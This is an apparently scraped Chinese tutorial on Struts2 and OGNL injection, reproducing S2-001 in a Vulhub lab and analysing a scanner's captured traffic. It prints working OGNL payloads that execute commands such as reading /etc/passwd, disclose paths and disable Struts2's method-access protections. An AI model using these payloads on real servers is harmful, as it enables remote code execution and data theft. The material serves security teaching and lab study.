当前位置: 首页 > news >正文

Struts2漏洞由浅入深

概述

Struts2 是一个基于 MVC(Model-View-Controller)设计模式的 Web 应用框架,本质上可以看作是对 Servlet 的高级封装。在 MVC 架构中,Struts2 作为控制器(Controller)负责接收用户请求,并协调模型(Model)与视图(View)之间的数据交互。

Struts2 是 Struts 的下一代产品,它融合了 Struts 1 和 WebWork 的技术优势,重构并推出了全新的框架架构。与 Struts 1 相比,Struts2 的结构发生了根本性的变化,核心机制也完全不同。Struts2 以 WebWork 为核心,引入了“拦截器(Interceptor)”机制来处理用户请求,从而实现了业务逻辑控制器与 Servlet API 的彻底解耦。正因如此,Struts2 常被视为 WebWork 的演进版本,而不是 Struts 1 的简单升级。

虽然 Struts2 与 Struts1 差异显著,但与 WebWork 相比,其变化较小,更多的是在 WebWork 的基础上进行了整合、规范化和社区化的增强。

参考:关于 Servlet 的详细介绍可参见 这篇文章。

漏洞分析

OGNL

简介

OGNL(Object-Graph Navigation Language) 是一种功能强大的表达式语言,广泛用于 Java Web 框架中,尤其是在 Struts2 中。OGNL 允许通过简洁统一的语法访问对象的属性、调用方法、创建集合、构造 Map 等。正因为其强大灵活的特性,Struts2 默认采用 OGNL 作为其表达式语言。

举个例子,若当前上下文中的根对象为 user1,那么表达式 person.address[0].province 就可以访问到 user1person 属性中第一个 addressprovince 字段。

OGNL 的作用与优势

OGNL 在 Struts2 中承担了表达式解析的重要角色,开发者可以用它完成很多“常规工作”,包括但不限于:

  • 属性访问与方法调用
    • name.length():访问属性
    • #user.hashCode():调用方法
  • 数组与集合访问
    • "name".toCharArray()[0]:访问数组元素
    • 'admin' in {'user', 'admin', 'guest'}:判断元素是否在集合中
  • 静态方法与变量
    • @java.lang.Math@floor(10.9):调用静态方法
    • @com.demo.Constants@DEFAULT_TIMEOUT:访问静态字段
  • 表达式串联与赋值
    • price=100, discount=0.8, price*discount:支持多个表达式组合
  • 构造对象与集合
    • new java.util.ArrayList():创建新对象
    • #{'key1':'value1', 'key2':'value2'}:构造 Map
OGNL 上下文

OGNL 运行时依赖一个上下文对象 OgnlContext,它本质上是一个 Map,用于存放所有可访问的数据。上下文中包含以下核心元素:

  • _root:上下文的根对象,是默认操作的目标对象
  • _values:以 Map 的形式保存传入上下文的参数(如 JavaBean、变量等)
  • ClassResolver:处理类加载的策略
  • TypeConverter:用于处理类型转换,如将字符串转为对象
  • MemberAccess:控制访问对象成员(属性、方法)的权限策略

可以通过 setRoot(object) 方法设置根对象,这样访问属性时无需使用 # 前缀;访问非根对象时需要加 #,如 #user.name

特殊语法示例
用途示例
常量表示'hello', 123, 1000000H, 10.01B
调用静态方法@java.lang.Math@abs(-5)
构造 Map#{'k1':'v1', 'k2':'v2'}
Lambda 表达式{e -> e.length()} (OGNL 3.x中支持)
条件过滤users.{?#this.age > 18}:过滤 age > 18 的用户
OGNL 与 Struts2 漏洞的关系

Struts2 的很多漏洞都是由于 OGNL 表达式解析过程中的未加限制或未正确过滤 所导致的。例如攻击者可以通过精心构造的恶意表达式,执行任意方法调用、类加载、甚至构造系统命令执行,导致远程命令执行(RCE)等严重安全问题。

因此,OGNL 的强大同时也带来了安全隐患。正是这种高权限、强能力的表达式语言在开放给外部输入的情况下,容易被攻击者利用,成为 Struts2 多起安全事件的根源。

Struts2

简介

Struts2 是 Apache 旗下的开源 Web 框架,广泛应用于阿里巴巴、京东等大型互联网企业及政府、企业门户网站。它基于 MVC 设计模式,作为控制器负责模型与视图的数据交互。Struts2 是 Struts1 与 WebWork 合并后的全新框架,体系结构与 Struts1 有较大差异,核心以 WebWork 为基础,采用拦截器机制处理用户请求。

这种设计使得业务逻辑与 Servlet API 完全分离,提升了开发灵活性。相比 Struts1 变化巨大,但相较于 WebWork,变化较小。

Struts2 默认采用 OGNL 作为表达式语言,支持对标签属性(如 id)进行二次解析,这也成为远程代码执行等安全风险的根源。它常与 Spring、Hibernate 等框架配合使用,构成主流 Java EE 企业开发技术栈(SSH)。

Struts2 的 MVC 结构:

  • Model:负责数据维护和业务逻辑(通常是 Action 类)
  • View:负责页面展示(Result)
  • Controller:通过代码控制请求流程

Struts2 中的 OGNL 表达式一般以 %{}${} 开头:

  • %{}:访问值栈中的 Action 对象,例如 %{getText('key')}
  • ${}:通常用于国际化资源文件中的表达式引用

更多版本及漏洞详情可参考 Apache Struts 官方仓库:

http://archive.apache.org/dist/struts/binaries/

Struts2识别

常用识别方式包括:

  1. 页面回显错误信息:访问带参数的 URL,如 ?actionErrors=1111,若页面返回异常信息或回显参数值,说明可能是 Struts2。截屏2025-05-29 21.06.34

  2. URL 后缀判断:常见 .action.do 后缀,虽然不一定准确。

https://accionistas.rccelta.es/accionistas-web/acceso/login.action
  1. 检测特殊文件:如 /struts/webconsole.html 文件存在(需 devMode=true)。
截屏2025-05-29 21.09.27
  1. request_only_locale 参数:修改后页面内容变化表明存在国际化支持。

  2. CheckboxInterceptor 参数回显:带参数如 ?checkbox_search=xxx,返回特定内容可判断。

注意,目前没有 100% 确定 Struts2 的单一识别方法。

探测方法

确认目标使用 Struts2 后,依据漏洞触发点按新到旧顺序逐步尝试检测。检测时建议使用最小有效 Payload。

  • 利用 ${1111}%{1111} 测试返回内容是否执行了 OGNL 计算(如 11*11=121)。
  • 对无明显回显的漏洞,可以尝试时间延迟执行,例如 java.lang.Thread.sleep(5000)
  • 利用文件生成验证,如写入文件路径检测。
  • 带外请求检测:尝试外部 DNSLog,new URL("http://dnslog/").openConnection()
  • 通过代码执行结果回显,@org.apache.commons.io.IOUtils@toString(XXXX.getInputStream())
漏洞利用

Struts2 利用通常围绕代码执行、命令执行、WebShell 上传、反弹 Shell 或窃取凭据。核心是通过 OGNL 绕过默认安全限制,实现静态或动态方法调用写入文件或执行命令,并借助输出实现回显或带外交互。

Payload

a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println('result=' + new java.lang.String(#d)),#out.close()}
漏洞修复

Struts2 框架有多项防护机制,绕过这些机制是利用的关键:

  • allowStaticMethodAccess:是否允许调用静态方法,如 Runtime.exec 需要该项为 true
  • allowStaticFieldAccess:是否允许访问静态属性。
  • xwork.MethodAccessor.denyMethodExecution:防止 OGNL 调用方法。
  • excludedPackageNames / excludedClasses / excludedPackageNamePatterns:黑名单限制调用指定包或类。

常见绕过方式包括:

  • 通过 OGNL 动态修改配置:

    #_memberAccess['allowStaticMethodAccess'] = true
    #context['xwork.MethodAccessor.denyMethodExecution'] = false
    #ognlUtil.getExcludedPackageNames().clear()
    #ognlUtil.getExcludeClasses().clear()
    
  • 通过反射设置私有属性访问权限:

    #f = #_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),
    #f.setAccessible(true),
    #f.set(#_memberAccess, true)
    

不同版本 Struts2 防护机制差异较大,更新补丁时应重点关注这些配置。

漏洞示例

本次 Struts2 漏洞的示例与复现均基于Vulhub 靶场平台提供的环境完成。本文以S2-001 漏洞为代表,进行了深入的分析与复现演示,旨在帮助读者理解该漏洞的原理及利用方式。其他版本的 Struts2 漏洞将在后续文章中逐一展开介绍。

S2-001

概述
影响版本

Struts 2.0.0 - 2.0.8

漏洞编号

CVE-2007-4556

漏洞原理

该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

漏洞复现
启动命令
docker compose build
docker compose up -d
docker ps	# 查看靶机映射的端口
ifconfig  # 查看IP地址
漏洞探测

在输入框或可控参数位置输入 \%{1111*11},如果应用返回了计算结果 12221,说明后端对用户输入进行了 OGNL 表达式解析,存在 Struts2 表达式注入风险。

截屏2025-05-29 21.27.47

漏洞利用

获取tomcat执行路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
// @java.lang.System@getProperty("user.dir")获取当前程序运行的目录

截屏2025-05-29 21.37.11

获取Web路径

%{// 1. 获取 HttpServletRequest 对象#req = @org.apache.struts2.ServletActionContext@getRequest(),// 2. 获取 HttpServletResponse 对象的输出流 Writer#response = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),// 3. 输出网站根目录的真实物理路径(例如 /usr/local/tomcat/webapps/ROOT/)#response.println(#req.getRealPath('/')),// 4. 刷新输出内容#response.flush(),// 5. 关闭输出流#response.close()
}

截屏2025-05-29 21.37.57

执行任意命令

%{// 1. 执行命令:whoami#a = (new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true)  // 合并标准错误输出.start(),                   // 启动进程// 2. 获取命令输出流#b = #a.getInputStream(),// 3. 将字节流转换为字符流#c = new java.io.InputStreamReader(#b),// 4. 使用缓冲读取器读取字符流#d = new java.io.BufferedReader(#c),// 5. 创建字符数组用于存储输出内容#e = new char[50000],// 6. 读取输出结果到字符数组中#d.read(#e),// 7. 获取 HTTP 响应对象#f = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),// 8. 输出命令执行结果到页面#f.getWriter().println(new java.lang.String(#e)),// 9. 刷新并关闭输出流#f.getWriter().flush(),#f.getWriter().close()
}

截屏2025-05-29 21.41.29

漏洞修复

xwork 2.0.4 中添加了一个maxLoopCount属性,限制了递归解析的最大数目。

流量分析

本次实验使用的检测工具为 Struts2 全版本漏洞检测工具,项目地址如下:

https://github.com/abc123info/Struts2VulsScanTools

在漏洞检测过程中,为了配合分析网络请求与响应的数据包,使用了抓包技术。具体抓包方法参考以下链接:

https://blog.csdn.net/m1154619573/article/details/148338537

探测debug参数
POST /login.action HTTP/1.1
...
Content-Length: 9debug=xml

此请求用于探测 debug 参数是否被后台应用解析,用于识别是否为可能存在 Struts2 漏洞的接口。

探测 debug 模式
POST /login.action HTTP/1.1
...
Content-Length: 13debug=console

console 模式开启后,Struts2 的调试信息可能在响应中返回,攻击者由此可以进一步判断框架版本与调试状态,为漏洞利用做准备。

OGNL 表达式注入测试
post方式
POST /login.action HTTP/1.1
...
Content-Length: 41debug=command&expression=%7b23243*3434%7d

这是核心漏洞利用请求。expression 参数中携带的 {23243*3434} 是一个 OGNL 表达式,会被 Struts2 的 debug=command 模式解析并执行,返回值为乘法结果(通常会反映在页面或响应中)。

get方式
GET /login.action?debug=command&expression=%28%34%32%32%30%36%2a%32%30%35%38%39%29 HTTP/1.1

该请求与上一个作用相同,只是通过 GET 方法提交,依旧可触发 Struts2 解析器对 OGNL 表达式的执行。

header 插入
GET /%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29...
/login.action HTTP/1.1
...

此请求利用了完整的 OGNL 表达式链,对 DEFAULT_MEMBER_ACCESS 进行赋值,绕过了安全限制,清空了 OgnlUtil 的受限类与包,然后调用 getResponse() 方法,最终向 HTTP 响应头中添加了一个名为 coookiee 的自定义字段。

数学运算探测
GET /login%24%7B(181913098%2B1)%7D.action HTTP/1.1
...

这是典型的探测性 payload,用于判断服务器是否存在 OGNL 表达式注入漏洞。如果目标服务器未对表达式进行适当过滤或禁用,Struts2 会解析该表达式,并将其结果 181913099 作为路径处理,从而引发异常或返回不同响应

multipart/form-data 类型注入
POST /login.action HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
...------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="pocfile"; filename="s.%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}.b"
Content-Type: application/octet-streamtdwefewwe
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

该请求构造了一个 multipart/form-data 类型的 POST 请求,并将 OGNL 表达式注入到上传文件名中。其中的表达式经过部分 unicode 混淆。

总结

本次流量分析重点聚焦于 Apache Struts2 框架中存在的 OGNL 表达式注入漏洞。通过对不同请求类型(包括普通 POST 请求、GET 请求、带有 debug 参数的探测请求以及 multipart/form-data 上传请求)的抓包和解码,深入揭示了攻击者如何利用精心构造的 OGNL 表达式实现远程代码执行。分析过程展示了相关工具通过输出特定字符串、执行服务器路径查询、绕过安全限制等手段确认漏洞存在的典型利用流程。

相关文章:

  • AIGC图像去噪:核心原理、算法实现与深度学习模型详解
  • Rocketmq消息队列 消息模型 详解
  • [论文阅读] 人工智能+软件工程 | MemFL:给大模型装上“项目记忆”,让软件故障定位又快又准
  • 在 Ubuntu 24.04 LTS 上安装 Jenkins 并配置全局工具(Git、JDK、Maven)
  • 探秘半导体制造设备钢结构防震基座的承重奥秘-江苏泊苏系统集成有限公司
  • 好得睐:以品质守味、以科技筑基,传递便捷与品质
  • vue-18(使用 Vuex 插件实现高级功能)
  • 51单片机基础部分——独立按键检测
  • 用 n8n 提取静态网页内容:从 HTTP Request 到 HTML 节点全解析
  • JavaSec-SSTI - 模板引擎注入
  • 【Linux网络篇】:从HTTP到HTTPS协议---加密原理升级与安全机制的全面解析
  • vscode 离线安装第三方库跳转库
  • Spark 写文件
  • 记一个判决书查询API接口的开发文档
  • 软件测试全攻略:Postman工具的使用
  • 关于easyexcel动态下拉选问题处理
  • exp1_code
  • BT Panel密码修改
  • Python Excel 文件处理:openpyxl 与 pandas 库完全指南
  • (LeetCode 每日一题) 1061. 按字典序排列最小的等效字符串 (并查集)
  • 网络绿化网站建设哪家权威/seo网站推广优化
  • 广州网站优化关键词方法/深圳网络营销怎么推广
  • 买网站平台名字吗/怎么提高百度关键词排名
  • 汕头seo优化/免费seo排名优化
  • 网站快速收录平台/站长统计在线观看
  • web前端基础知识点/seo排名工具给您好的建议